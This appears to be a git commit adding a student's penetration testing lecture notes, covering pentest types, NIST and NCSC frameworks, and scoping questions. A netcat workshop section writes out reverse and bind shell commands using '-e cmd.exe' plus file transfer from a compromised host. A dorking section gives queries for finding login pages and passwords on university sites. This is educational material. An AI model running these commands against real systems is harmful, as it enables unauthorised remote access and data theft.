vault backup: 2024-10-16 09:12:37
This commit is contained in:
92
Penetration Testing/Week 1/Lecture 1 - Intro.md
Normal file
92
Penetration Testing/Week 1/Lecture 1 - Intro.md
Normal file
@@ -0,0 +1,92 @@
|
||||
# Assessments
|
||||
|
||||
## T1
|
||||
|
||||
Assignment coursework (Written) (50%) - Reconnaissance of real organisation
|
||||
Assignment coursework (Practical Work) (50%) - Penetration Testing vulnerable machines
|
||||
|
||||
# What is Penetration Testing?
|
||||
|
||||
Definition: “A method for gaining assurance in the security of an IT system by attempting to breach
|
||||
some or all of that system's security, using the same tools and techniques as an adversary might.”
|
||||
|
||||
“Penetration testing should be viewed as a method for gaining assurance in your organisation's
|
||||
vulnerability assessment and management processes, not as a primary method for identifying
|
||||
vulnerabilities.”
|
||||
|
||||
Penetration testing should be used to mitigate vulnerabilities before a black hat exploits them.
|
||||
|
||||
# Penetration Testing Vs Vulnerability Assessment
|
||||
|
||||
Penetration testing is the step after vulnerability assessment. it **proves** the vulnerability can be exploited in a real-world scenario.
|
||||
Vulnerability assessment seeks to validate the minimum level of security that should be applied, usually a precursor. It does not exploit or replicate a real attack, nor considers the overall security process.
|
||||
Penetration tests are ethical attack simulations that attempt to validate the effectiveness of security controls by highlighting risks.
|
||||
|
||||
# Types of Pentesting
|
||||
|
||||
## Whitebox Testing
|
||||
|
||||
- Full information about target is shared.
|
||||
- Confirms efficacy of internal vulnerability assessment & management controls
|
||||
- Identifies existence of known vulnerabilities and misconfiguration
|
||||
|
||||
## Greybox Testing
|
||||
|
||||
- Limited amount of information about target, ex:
|
||||
- IP range
|
||||
- Access to database / backend, but not source code.
|
||||
|
||||
## Blackbox Testing
|
||||
|
||||
- No information shared
|
||||
- Performed from external perspectives
|
||||
- Aimed at identifying ways to access assets
|
||||
- More accurately models risk
|
||||
- Lack of information could result in unknown vulnerabilities being uncovered.
|
||||
|
||||
# Red Vs Blue Teaming
|
||||
|
||||
## Red Teaming
|
||||
|
||||
- Adversarial, goal based assessment.
|
||||
- Provides real-world view into attacker's methods
|
||||
- Evades Blue Team
|
||||
|
||||
## Blue Teaming
|
||||
|
||||
- Defensive role of an organisation
|
||||
- Detects red team.
|
||||
|
||||
# Penetration Testing Lifecycle
|
||||
|
||||
1. Reconnaissance
|
||||
- Gathering information (active, high interaction; passive, no interaction)
|
||||
- Passive interaction uses mostly public information
|
||||
2. Vulnerability Scanning
|
||||
- Port Scanning
|
||||
- Network Hosts
|
||||
- Unpatched known exploits
|
||||
- Unmanaged devices
|
||||
- Poorly configured firewalls
|
||||
- Weak findings
|
||||
- Negligence
|
||||
3. Exploitation
|
||||
- Kernel attacks
|
||||
- Application attacks
|
||||
- Privilege Elevation
|
||||
- Denial of Service
|
||||
4. Post-Exploitation
|
||||
- Uploading information
|
||||
- Downloading information
|
||||
- Implement backdoor
|
||||
- Cover tracks
|
||||
- Pivoting, attacking different stations until finding important information
|
||||
5. Repeat
|
||||
|
||||
# Tools Learned on Module
|
||||
|
||||
- Linux Bash
|
||||
- Windows Terminal
|
||||
- Operating system mechanisms
|
||||
- Network applications
|
||||
- Basic C programs and python
|
121
Penetration Testing/Week 3/Lecture 3 - Blue Team.md
Normal file
121
Penetration Testing/Week 3/Lecture 3 - Blue Team.md
Normal file
@@ -0,0 +1,121 @@
|
||||
Red Team - Seeking Success
|
||||
Blue Team - Destined to Fail
|
||||
Purple Team - Joint efforts yield higher investment return.
|
||||
|
||||
# NCSC Cyber Assessment Framework (CAF)
|
||||
|
||||
Objective A - Managing Security Risk
|
||||
|
||||
- Governance, Risk Assessment, Asset Management, Supply Chain
|
||||
Objective B - Protecting Against Cyber Attack
|
||||
- Policies and processes, identify and access control, data security, system security, resilient networks and systems, staff awareness.
|
||||
Objective C - Detecting Cyber Security Events
|
||||
- Security monitoring, detecting malicious events
|
||||
Objective D - Minimising the impact of Cyber Security Incidents
|
||||
- Response and recovery planning, Lessons learned.
|
||||
|
||||
# Company Perspective
|
||||
|
||||
- Understanding:
|
||||
- Assets - Information Assets, System Assets, External Dependencies
|
||||
- Vulnerabilities - Weaknesses to exploit
|
||||
- Threats - Thinks that may exploit vulnerabilities to compromise assets
|
||||
- Incidents - Direct / Indirect
|
||||
- Risk Tolerance - Cant control everything
|
||||
- Budget - Demonstrate cost / benefit analysis
|
||||
|
||||
# Risk-Based Approach
|
||||
|
||||
- Process of identifying, assessing and responding to risk
|
||||
- Organisations should understand chance of event, with potential impacts
|
||||
- Determine acceptable level of risk for achieving objectives. (Risk Tolerance)
|
||||
- Prioritise cybersecurity activities
|
||||
- Informed decisions about cybersecurity expenditures
|
||||
- Quantify and communicate adjustments to programmes.
|
||||
- May choose to handle risk in different ways: mitigation, transference, avoiding, accepting, depending on impact to service delivery.
|
||||
|
||||
# Cyber Security V Information Security
|
||||
|
||||
## Cyber Security
|
||||
|
||||
- Deals with security risks through use of IT and impact on company
|
||||
- Considered vertical function, in remit of the CTO and network team.
|
||||
|
||||
## Imformation Security
|
||||
|
||||
- Deals with security risks that impact information on which company depends, wherever risk comes from.
|
||||
- Protection of Confidentiality, Integrity, Availability (CIA) of Information.
|
||||
- Horizontal function, everyones responsibility
|
||||
- CISO and ISM lead, senior support
|
||||
|
||||
# NIST Framework
|
||||
|
||||
- Adaptive to provide flexible and risk based implementation. Can be used with broad array of risk management processes.
|
||||
- It is not:
|
||||
- Checklist of actions
|
||||
- Set of activities to achieve outcomes, references to examples to achieve.
|
||||
- Global approach to managing risk
|
||||
- Will have unique risks - varied assets, threats, vulnerabilities, risk tolerance.
|
||||
- Intended to form serial path or lead to static end state
|
||||
- Performed concurrently / continuously to form operational culture addressing dynamic risk
|
||||
- Maturity model
|
||||
- While T-1 is bad, T-4 is not necessarily required.
|
||||
|
||||
## Framework Functions
|
||||
|
||||

|
||||
|
||||
- Identify
|
||||
Develop organisational understanding to manage cybersecurity risk to systems, people, assets, data and capabilities.
|
||||
- Protect
|
||||
Develop and implement safeguards to ensure delivery of critical services
|
||||
- Detect
|
||||
Develop and implement activities to identify occurrence of event.
|
||||
- Respond
|
||||
Develop and implement activities to take action regarding detected incident
|
||||
- Recover
|
||||
Develop and implement activities to maintain resilience plans, restore capabilities or services impaired during incident
|
||||
|
||||

|
||||
|
||||
### Example: Detect
|
||||
|
||||

|
||||
|
||||
## NIST Tiers
|
||||
|
||||
Tier 1 (partial) - Risk management practices not formalised. Risk managed in ad-hoc / reactive manner. Implement risk management on irregular, case-by-case basis due to varied experience or external information. May not have processes that enable CS information to be shared within organisation. Does not collaborate or receive information (threat intelligence, practices, technologies) from other entities.
|
||||
|
||||
Tier 2 (risk informed)
|
||||
Tier 3 (repeatable)
|
||||
Tier 4 (adaptive) - Adapts CS practices based on previous and current experience, including methods learned from predictive indicators. Organisation-wide approach to managing CS risk using risk-informed policies, processes and procedures to address events. Relationship between risk and organisational objectives is understood and considered when making decisions. Organisation uses realtime information to understand and act upon risks associated with products provided.
|
||||
|
||||
# Blue Team Function
|
||||
|
||||
- Understand normal traffic on network
|
||||
- Use firewalls to block known issues
|
||||
- Use intrusion detection systems (IDS) and intrusion prevention systems (IPS) to block unknown but predictable issues.
|
||||
- IDS - Scans for patterns in traffic (Ex. Snort)
|
||||
- Host IDS (HIDS) scans for unexpected traffic on specific computers
|
||||
- File Changes, Permission Changes, Installed Software, etc. (Ex. OSSEC)
|
||||
- Use machine learning to spot unknown problems (DE.AE-5, DE.CM-1)
|
||||
- Set of normal data and set of known abnormal. Does data look more like normal or abnormal?
|
||||
|
||||
# Establishing / Improving Programmes
|
||||
|
||||
1. Prioritise and Scope: Identify objectives and high level priorities
|
||||
2. Orient: Identify related assets, requirements, risk approach. Organisation identifies threats and vulnerabilities.
|
||||
3. Create Current Profile: Which outcomes desired from Framework Core currently being achieved.
|
||||
4. Conduct Risk Assessment
|
||||
5. Create Target Profile: Assessment of Framework Categories describing desired outcomes
|
||||
6. Determine, Analyse, Prioritise Gaps
|
||||
7. Implement Action Plan.
|
||||
|
||||
# Purple Team
|
||||
|
||||
“The terms Blue and Red must merge under the umbrella of Purple Team. The teams must stop working as only adversaries, and instead start collaborating and working in unison in the future."
|
||||
|
||||
## Issues with Automation
|
||||
|
||||
- Consider how automation process logs into devices, ex. automatically triage a compromised host. Be careful to inadvertently share more information with attackers, potentially giving them further control of the environment. Ex. Vulnerability Scanner operationg with domain administrator credentials may decide to scan attacker-controlled host, thus potentially allowing credentials to be sniffed or cracked.
|
||||
- This reminds me of the Apple Silicon vulnerability with the crypography process.
|
29
Penetration Testing/Week 3/Workshop 3 - netcat.md
Normal file
29
Penetration Testing/Week 3/Workshop 3 - netcat.md
Normal file
@@ -0,0 +1,29 @@
|
||||
nc: TCP/IP Swiss Army Knife
|
||||
ncat: concatenate and redirect sockets
|
||||
|
||||
-l: Listen and Bind
|
||||
-p: Port
|
||||
\--ssl: Use SSL
|
||||
|
||||
Example (Reverse Shell):
|
||||
|
||||
Attacker Client: `nc -lp 4444`
|
||||
Compromised Client: `nc 1.0.0.0 4444 -e cmd.exe`
|
||||
|
||||
Example (Bind Shell):
|
||||
|
||||
Attacker Client: `nc 1.0.0.1 4444`
|
||||
Compromised Client: `nc -lp 4444 -e cmd.exe -k`
|
||||
|
||||
Example (File Transfer Receive):
|
||||
|
||||
Attacker Client: `nc -lp 4444 > newFile`
|
||||
Compromised Client: `nc 1.0.0.1 4444 < oldFile`
|
||||
|
||||
Example (File Transfer Transmit):
|
||||
|
||||
Attacker Client: `nc -lp 4444 < newFile`
|
||||
Compromised Client: `nc 1.0.0.1 > oldFile`
|
||||
|
||||
Log into Windows Machine:
|
||||

|
101
Penetration Testing/Week 4/Week 4 - Pre-Engagement.md
Normal file
101
Penetration Testing/Week 4/Week 4 - Pre-Engagement.md
Normal file
@@ -0,0 +1,101 @@
|
||||
# Requirements
|
||||
Scope
|
||||
- What will be tested
|
||||
- Start and End dates
|
||||
- Customer Objectives
|
||||
- Strategic and Operational goals
|
||||
- Ensure requirements and expectations of customers being met
|
||||
|
||||
Rules of Engagement
|
||||
- Detailed stages
|
||||
- Who is authorised
|
||||
- On or off site
|
||||
- Formal "permission to test" authorised
|
||||
|
||||
Legal Signoff
|
||||
|
||||
## Scope
|
||||
|
||||
- Identify type of tests
|
||||
- Network, web, wireless, physical, social engineering
|
||||
- Capabilities of target organisation to be tested. Detect and respond to:
|
||||
- Info gathering
|
||||
- Footprinting
|
||||
- Scanning and vulnerability analysis
|
||||
- Infiltration
|
||||
- Data aggregation
|
||||
- Data exfil
|
||||
- Immature (NIST T1) would benefit from a vulnerability analysis than a full pentest
|
||||
|
||||
- Identify outsourced services
|
||||
- In scope?
|
||||
- Permission?
|
||||
- Procedures and requirements?
|
||||
- What to do if vulnerability found?
|
||||
- Identify policies of any ISP or MSSP
|
||||
- In scope?
|
||||
- Need to be notified?
|
||||
- Identify existing controls (firewall, IDS/IPS, web application firewall, load balancer)
|
||||
- In scope?
|
||||
|
||||
# Types of Test
|
||||
|
||||
- Why customer has pentest performed against env?
|
||||
- Required for compliance?
|
||||
- When does customer want active testing conducted?
|
||||
- During business hours or out?
|
||||
- How many IPs tested (internal/external)
|
||||
- How should testing team proceed if vulnerability found?
|
||||
|
||||
## Web Application Pentest
|
||||
|
||||
- How many applications being assessed?
|
||||
- How many login systems being assessed?
|
||||
- How many static pages being assessed?
|
||||
- How many dynamic pages being assessed?
|
||||
- Static analysis?
|
||||
- Source code available?
|
||||
- Documentation?
|
||||
|
||||
## Wireless Network Pentest
|
||||
|
||||
- How many wireless networks?
|
||||
- Guest network? Authentication?
|
||||
- Encryption used and type?
|
||||
- Square footage of coverage?
|
||||
- Enumeration of rogue devices?
|
||||
- Assessing wireless attacks against clients?
|
||||
- How many clients on network?
|
||||
|
||||
## Physical Pentest
|
||||
|
||||
- How many locations?
|
||||
- Physical or shared facility? If so, floors in scope.
|
||||
- Need permission?
|
||||
- Security guards? Who do they work for? What are terms of reference?
|
||||
- Reasonable force? Armed?
|
||||
- How many entrances to building
|
||||
- Local laws?
|
||||
- Square footage?
|
||||
- Physical security documented?
|
||||
- Video surveillance?
|
||||
- Alarm system? Silent? How triggered?
|
||||
|
||||
## Social Engineering
|
||||
|
||||
- List of email addresses client wants attacked
|
||||
- List of phone numbers?
|
||||
- Approved? How many targeted
|
||||
- Chosen pretexts approved in writing beforehand.
|
||||
|
||||
# Questions
|
||||
|
||||
## For company
|
||||
|
||||
- Manage aware?
|
||||
- Main datum that would create greatest risk to organisation if exposed, corrupted or deleted?
|
||||
- If ISMS, will have risk register.
|
||||
- If no ISMS, lack maturity for test to be meaningful.
|
||||
- Testing and validations procedures to verify applications functioning in place?
|
||||
- Testers have access to QA testing procedures from when application developed?
|
||||
- Disaster Recovery Procedures in place for application data.
|
12
Penetration Testing/Week 4/Workshop 4 - Google Dorking.md
Normal file
12
Penetration Testing/Week 4/Workshop 4 - Google Dorking.md
Normal file
@@ -0,0 +1,12 @@
|
||||
`site:salford.ac.uk -site:www.salford.ac.uk -site:beta.salford.ac.uk`
|
||||

|
||||
|
||||
`intitle:"admin login"`
|
||||

|
||||
|
||||
`(inurl:login.cgi OR inurl:login.php OR inurl:login.js) AND site:ac.uk AND password`
|
||||

|
||||
|
||||
|
||||
1. https://hub.salford.ac.uk/sbs-disruptive-technologies/events/
|
||||
2.
|
Reference in New Issue
Block a user